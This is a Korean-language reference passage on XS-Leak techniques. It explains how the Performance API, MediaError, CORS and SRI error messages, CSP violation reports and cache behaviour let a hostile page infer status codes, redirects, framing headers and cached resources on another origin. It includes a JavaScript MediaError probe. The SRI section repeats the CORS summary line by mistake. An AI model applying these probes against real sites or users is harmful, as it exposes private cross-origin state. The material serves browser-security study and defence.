Performance API๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์„ฑ๋Šฅ ๋ฉ”ํŠธ๋ฆญ์— ๋Œ€ํ•œ ํ†ต์ฐฐ๋ ฅ์„ ์ œ๊ณตํ•˜๋ฉฐ, Resource Timing API๋กœ ๋”์šฑ ํ’๋ถ€ํ•ด์ง‘๋‹ˆ๋‹ค. Resource Timing API๋Š” ์š”์ฒญ์˜ ์ง€์† ์‹œ๊ฐ„๊ณผ ๊ฐ™์€ ์ƒ์„ธํ•œ ๋„คํŠธ์›Œํฌ ์š”์ฒญ ํƒ€์ด๋ฐ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ํŠนํžˆ ์„œ๋ฒ„๊ฐ€ ์‘๋‹ต์— Timing-Allow-Origin: * ํ—ค๋”๋ฅผ ํฌํ•จํ•˜๋ฉด ์ „์†ก ํฌ๊ธฐ ๋ฐ ๋„๋ฉ”์ธ ์กฐํšŒ ์‹œ๊ฐ„๊ณผ ๊ฐ™์€ ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

์ด ํ’๋ถ€ํ•œ ๋ฐ์ดํ„ฐ๋Š” performance.getEntries ๋˜๋Š” performance.getEntriesByName์™€ ๊ฐ™์€ ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„ฑ๋Šฅ ๊ด€๋ จ ์ •๋ณด์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ทฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด API๋Š” performance.now()์—์„œ ์–ป์€ ํƒ€์ž„์Šคํƒฌํ”„์˜ ์ฐจ์ด๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Chrome๊ณผ ๊ฐ™์€ ๋ธŒ๋ผ์šฐ์ €์˜ ํŠน์ • ์ž‘์—…์— ๋Œ€ํ•ด performance.now()์˜ ์ •๋ฐ€๋„๊ฐ€ ๋ฐ€๋ฆฌ์ดˆ๋กœ ์ œํ•œ๋  ์ˆ˜ ์žˆ์–ด ํƒ€์ด๋ฐ ์ธก์ •์˜ ์„ธ๋ฐ€ํ•จ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํƒ€์ด๋ฐ ์ธก์ • ์™ธ์—๋„ Performance API๋Š” ๋ณด์•ˆ ๊ด€๋ จ ํ†ต์ฐฐ๋ ฅ์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Chrome์˜ performance ๊ฐ์ฒด์— ํŽ˜์ด์ง€๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋Š” X-Frame-Options์˜ ์ ์šฉ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, X-Frame-Options๋กœ ์ธํ•ด ํ”„๋ ˆ์ž„์—์„œ ๋ Œ๋”๋ง์ด ์ฐจ๋‹จ๋œ ํŽ˜์ด์ง€๋Š” performance ๊ฐ์ฒด์— ๊ธฐ๋ก๋˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Š” ํŽ˜์ด์ง€์˜ ํ”„๋ ˆ์ด๋ฐ ์ •์ฑ…์— ๋Œ€ํ•œ ๋ฏธ์„ธํ•œ ๋‹จ์„œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Error Leak

HTTP ์‘๋‹ต ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๊ตฌ๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜๋กœ ์ด์–ด์ง€๋Š” ์š”์ฒญ์€ ์„ฑ๋Šฅ ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Style Reload Error

์ด์ „ ๊ธฐ์ˆ ์—์„œ๋Š” ๋กœ๋“œ์— ์‹คํŒจํ•œ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋‘ ๋ฒˆ ๋กœ๋“œ๋˜๋Š” ๋ธŒ๋ผ์šฐ์ € ๋ฒ„๊ทธ๊ฐ€ ์žˆ๋Š” ๋‘ ๊ฐ€์ง€ ๊ฒฝ์šฐ๊ฐ€ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด Performance API์— ์—ฌ๋Ÿฌ ํ•ญ๋ชฉ์ด ์ƒ์„ฑ๋˜๋ฉฐ, ๋”ฐ๋ผ์„œ ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Request Merging Error

์ด ๊ธฐ์ˆ ์€ ์–ธ๊ธ‰๋œ ๋…ผ๋ฌธ์˜ ํ‘œ์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์ง€๋งŒ, ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์„ค๋ช…์€ ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak์—์„œ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Empty Page Leak

๊ณต๊ฒฉ์ž๋Š” ์š”์ฒญ์ด ๋นˆ HTTP ์‘๋‹ต ๋ณธ์ฒด๋กœ ์ด์–ด์กŒ๋Š”์ง€ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๋นˆ ํŽ˜์ด์ง€๋Š” ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์„ฑ๋Šฅ ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

XSS-Auditor Leak

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info: https://xsinator.com/paper.pdf (5.2)
  • Summary: ๋ณด์•ˆ ์ฃผ์žฅ์—์„œ XSS ๊ฐ์‚ฌ๊ธฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” ์กฐ์ž‘๋œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๊ฐ์‚ฌ๊ธฐ์˜ ํ•„ํ„ฐ๋ง ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํŠธ๋ฆฌ๊ฑฐํ•  ๋•Œ ์‘๋‹ต์˜ ๋ณ€ํ™”๋ฅผ ๊ด€์ฐฐํ•˜์—ฌ ํŠน์ • ์›น ํŽ˜์ด์ง€ ์š”์†Œ๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

๋ณด์•ˆ ์ฃผ์žฅ(SA)์—์„œ XSS ๊ฐ์‚ฌ๊ธฐ๋Š” ์›๋ž˜ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS) ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์ง€๋งŒ, ์—ญ์„ค์ ์œผ๋กœ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋‚ด์žฅ ๊ธฐ๋Šฅ์€ Google Chrome(GC)์—์„œ ์ œ๊ฑฐ๋˜์—ˆ์ง€๋งŒ, SA์—์„œ๋Š” ์—ฌ์ „ํžˆ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. 2013๋…„ Braun๊ณผ Heiderich๋Š” XSS ๊ฐ์‚ฌ๊ธฐ๊ฐ€ ํ•ฉ๋ฒ•์ ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์šฐ์—ฐํžˆ ์ฐจ๋‹จํ•˜์—ฌ ์ž˜๋ชป๋œ ๊ธ์ •์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์—ฐ๊ตฌ์ž๋“ค์€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๊ณ  ๊ต์ฐจ ์ถœ์ฒ˜ ํŽ˜์ด์ง€์—์„œ ํŠน์ • ์ฝ˜ํ…์ธ ๋ฅผ ๊ฐ์ง€ํ•˜๋Š” ๊ธฐ์ˆ ์„ ๊ฐœ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐœ๋…์€ XS-Leaks๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ, ์ฒ˜์Œ์—๋Š” Terada์— ์˜ํ•ด ๋ณด๊ณ ๋˜์—ˆ๊ณ  Heyes์˜ ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์—์„œ ์ž์„ธํžˆ ์„ค๋ช…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์€ GC์˜ XSS ๊ฐ์‚ฌ๊ธฐ์— ํŠน์ •ํ–ˆ์ง€๋งŒ, SA์—์„œ๋Š” XSS ๊ฐ์‚ฌ๊ธฐ์— ์˜ํ•ด ์ฐจ๋‹จ๋œ ํŽ˜์ด์ง€๊ฐ€ Performance API์— ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์—ฌ์ „ํžˆ ์œ ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ๋ฐํ˜€์กŒ์Šต๋‹ˆ๋‹ค.

X-Frame Leak

ํŽ˜์ด์ง€๊ฐ€ iframe์—์„œ ๋ Œ๋”๋ง๋˜๋Š” ๊ฒƒ์ด ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ์„ฑ๋Šฅ ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์‘๋‹ต ํ—ค๋” **X-Frame-Options**๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
embed ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค.

Download Detection

์„ค๋ช…๋œ XS-Leak์™€ ์œ ์‚ฌํ•˜๊ฒŒ, ContentDisposition ํ—ค๋”๋กœ ์ธํ•ด ๋‹ค์šด๋กœ๋“œ๋˜๋Š” ๋ฆฌ์†Œ์Šค๋„ ์„ฑ๋Šฅ ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ๋ชจ๋“  ์ฃผ์š” ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

Redirect Start Leak

์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์— ๋Œ€ํ•ด ๋„ˆ๋ฌด ๋งŽ์€ ์ •๋ณด๋ฅผ ๊ธฐ๋กํ•˜๋Š” ๋™์ž‘์„ ์•…์šฉํ•˜๋Š” XS-Leak ์ธ์Šคํ„ด์Šค๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ํ‘œ์ค€์€ ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์„ค์ •ํ•ด์•ผ ํ•˜๋Š” ์†์„ฑ์˜ ํ•˜์œ„ ์ง‘ํ•ฉ์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ SA์—์„œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋Œ€์ƒ ํŽ˜์ด์ง€์— ์˜ํ•ด ๋ฆฌ๋””๋ ‰์…˜๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Performance API๋ฅผ ์ฟผ๋ฆฌํ•˜๊ณ  redirectStart timing data๋ฅผ ํ™•์ธํ•จ์œผ๋กœ์จ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Duration Redirect Leak

GC์—์„œ ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฐœ์ƒํ•˜๋Š” ์š”์ฒญ์˜ ์ง€์† ์‹œ๊ฐ„์€ ์Œ์ˆ˜์ด๋ฉฐ, ๋”ฐ๋ผ์„œ ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š” ์š”์ฒญ๊ณผ ๊ตฌ๋ณ„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORP Leak

์ผ๋ถ€ ๊ฒฝ์šฐ, nextHopProtocol ํ•ญ๋ชฉ์„ ์œ ์ถœ ๊ธฐ์ˆ ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. GC์—์„œ CORP ํ—ค๋”๊ฐ€ ์„ค์ •๋˜๋ฉด nextHopProtocol์€ ๋น„์–ด ์žˆ์Šต๋‹ˆ๋‹ค. SA๋Š” CORP๊ฐ€ ํ™œ์„ฑํ™”๋œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์„ฑ๋Šฅ ํ•ญ๋ชฉ์„ ์ „ํ˜€ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Service Worker

์„œ๋น„์Šค ์›Œ์ปค๋Š” ์ถœ์ฒ˜์—์„œ ์‹คํ–‰๋˜๋Š” ์ด๋ฒคํŠธ ๊ธฐ๋ฐ˜ ์Šคํฌ๋ฆฝํŠธ ์ปจํ…์ŠคํŠธ์ž…๋‹ˆ๋‹ค. ์ด๋“ค์€ ์›น ํŽ˜์ด์ง€์˜ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€๋กœ์ฑ„๊ณ  ์ˆ˜์ •ํ•˜๋ฉฐ ์˜คํ”„๋ผ์ธ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ๋ฆฌ์†Œ์Šค๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์„œ๋น„์Šค ์›Œ์ปค์— ์˜ํ•ด ์บ์‹œ๋œ ๋ฆฌ์†Œ์Šค๊ฐ€ iframe์„ ํ†ตํ•ด ์ ‘๊ทผ๋  ๊ฒฝ์šฐ, ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๋Š” ์„œ๋น„์Šค ์›Œ์ปค ์บ์‹œ์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.
๋ฆฌ์†Œ์Šค๊ฐ€ ์„œ๋น„์Šค ์›Œ์ปค ์บ์‹œ์—์„œ ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด Performance API๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๊ฒƒ์€ ํƒ€์ด๋ฐ ๊ณต๊ฒฉ์œผ๋กœ๋„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋…ผ๋ฌธ์„ ์ฐธ์กฐํ•˜์„ธ์š”).

Cache

Performance API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaError ์ธํ„ฐํŽ˜์ด์Šค์˜ message ์†์„ฑ์€ ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ์‹๋ณ„ํ•˜๋Š” ๋…ํŠนํ•œ ๋ฌธ์ž์—ด์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด ๋ฉ”์‹œ์ง€ ๋‚ด์šฉ์„ ๊ด€์ฐฐํ•จ์œผ๋กœ์จ ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค์˜ ์‘๋‹ต ์ƒํƒœ๋ฅผ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORS ์˜ค๋ฅ˜

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Fetch API
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํ—ค๋”
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsinator.com/paper.pdf (5.3)
  • ์š”์•ฝ: ๋ณด์•ˆ ์ฃผ์žฅ(SA)์—์„œ CORS ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๋ฆฌ๋””๋ ‰์…˜๋œ ์š”์ฒญ์˜ ์ „์ฒด URL์„ ์šฐ์—ฐํžˆ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#CORS%20Error%20Leak

์ด ๊ธฐ์ˆ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ์‚ฌ์ดํŠธ์˜ ๋ฆฌ๋””๋ ‰์…˜ ๋ชฉ์ ์ง€๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋Š” Webkit ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ CORS ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์„ ์ด์šฉํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, CORS ์ง€์› ์š”์ฒญ์ด ์‚ฌ์šฉ์ž ์ƒํƒœ์— ๋”ฐ๋ผ ๋ฆฌ๋””๋ ‰์…˜์„ ๋ฐœํ–‰ํ•˜๋Š” ๋Œ€์ƒ ์‚ฌ์ดํŠธ์— ์ „์†ก๋˜๊ณ  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•˜๋ฉด, ๋ฆฌ๋””๋ ‰์…˜์˜ ๋Œ€์ƒ URL ์ „์ฒด๊ฐ€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ๋‚ด์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๋ฆฌ๋””๋ ‰์…˜์˜ ์‚ฌ์‹ค์„ ๋“œ๋Ÿฌ๋‚ผ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋ฆฌ๋””๋ ‰์…˜์˜ ์—”๋“œํฌ์ธํŠธ์™€ ํฌํ•จ๋  ์ˆ˜ ์žˆ๋Š” ๋ฏผ๊ฐํ•œ ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

SRI ์˜ค๋ฅ˜

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Fetch API
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํ—ค๋”
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsinator.com/paper.pdf (5.3)
  • ์š”์•ฝ: ๋ณด์•ˆ ์ฃผ์žฅ(SA)์—์„œ CORS ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๋ฆฌ๋””๋ ‰์…˜๋œ ์š”์ฒญ์˜ ์ „์ฒด URL์„ ์šฐ์—ฐํžˆ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#SRI%20Error%20Leak

๊ณต๊ฒฉ์ž๋Š” ์ƒ์„ธ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ด์šฉํ•ด ๊ต์ฐจ ์ถœ์ฒ˜ ์‘๋‹ต์˜ ํฌ๊ธฐ๋ฅผ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Subresource Integrity(SRI) ๋ฉ”์ปค๋‹ˆ์ฆ˜ ๋•๋ถ„์— ๊ฐ€๋Šฅํ•˜๋ฉฐ, SRI๋Š” ๊ฐ€์ ธ์˜จ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋ณ€์กฐ๋˜์ง€ ์•Š์•˜๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋ฌด๊ฒฐ์„ฑ ์†์„ฑ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค์—์„œ SRI๊ฐ€ ์ž‘๋™ํ•˜๋ ค๋ฉด CORS ์ง€์›์ด ํ•„์š”ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ๋ฐ›์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ณด์•ˆ ์ฃผ์žฅ(SA)์—์„œ CORS ์˜ค๋ฅ˜ XS-Leak์™€ ์œ ์‚ฌํ•˜๊ฒŒ, ๋ฌด๊ฒฐ์„ฑ ์†์„ฑ์ด ์žˆ๋Š” fetch ์š”์ฒญ์ด ์‹คํŒจํ•œ ํ›„ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ž˜๋ชป๋œ ํ•ด์‹œ ๊ฐ’์„ ๋ฌด๊ฒฐ์„ฑ ์†์„ฑ์— ํ• ๋‹นํ•˜์—ฌ ์ด ์˜ค๋ฅ˜๋ฅผ ์˜๋„์ ์œผ๋กœ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. SA์—์„œ ๊ฒฐ๊ณผ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ์š”์ฒญ๋œ ๋ฆฌ์†Œ์Šค์˜ ์ฝ˜ํ…์ธ  ๊ธธ์ด๋ฅผ ์šฐ์—ฐํžˆ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. ์ด ์ •๋ณด ์œ ์ถœ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์‘๋‹ต ํฌ๊ธฐ์˜ ๋ณ€ํ™”๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์ •๊ตํ•œ XS-Leak ๊ณต๊ฒฉ์˜ ๊ธธ์„ ์—ด์–ด์ค๋‹ˆ๋‹ค.

CSP ์œ„๋ฐ˜/๊ฐ์ง€

XS-Leak๋Š” CSP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ต์ฐจ ์ถœ์ฒ˜ ์‚ฌ์ดํŠธ๊ฐ€ ๋‹ค๋ฅธ ์ถœ์ฒ˜๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์œ ์ถœ์€ ๋ฆฌ๋””๋ ‰์…˜์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๋ฆฌ๋””๋ ‰์…˜ ๋Œ€์ƒ์˜ ๋„๋ฉ”์ธ๋„ ์œ ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์˜ ๊ธฐ๋ณธ ์•„์ด๋””์–ด๋Š” ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ์—์„œ ๋Œ€์ƒ ๋„๋ฉ”์ธ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋Œ€์ƒ ๋„๋ฉ”์ธ์— ์š”์ฒญ์ด ๋ฐœํ–‰๋˜๋ฉด ๊ต์ฐจ ์ถœ์ฒ˜ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋ฉ๋‹ˆ๋‹ค. CSP๋Š” ์ด์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜๊ณ  ์œ ์ถœ ๊ธฐ๋ฒ•์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ์œ„๋ฐ˜ ๋ณด๊ณ ์„œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์— ๋”ฐ๋ผ ์ด ๋ณด๊ณ ์„œ๋Š” ๋ฆฌ๋””๋ ‰์…˜์˜ ๋Œ€์ƒ ์œ„์น˜๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋ฆฌ๋””๋ ‰์…˜๋œ URL์„ ํ‘œ์‹œํ•˜์ง€ ์•Š์ง€๋งŒ, ์—ฌ์ „ํžˆ ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฐœ์ƒํ–ˆ์Œ์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์บ์‹œ

๋ธŒ๋ผ์šฐ์ €๋Š” ๋ชจ๋“  ์›น์‚ฌ์ดํŠธ์— ๋Œ€ํ•ด ํ•˜๋‚˜์˜ ๊ณต์œ  ์บ์‹œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถœ์ฒ˜์— ๊ด€๊ณ„์—†์ด ํŠน์ • ํŒŒ์ผ์ด ์š”์ฒญ๋˜์—ˆ๋Š”์ง€ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

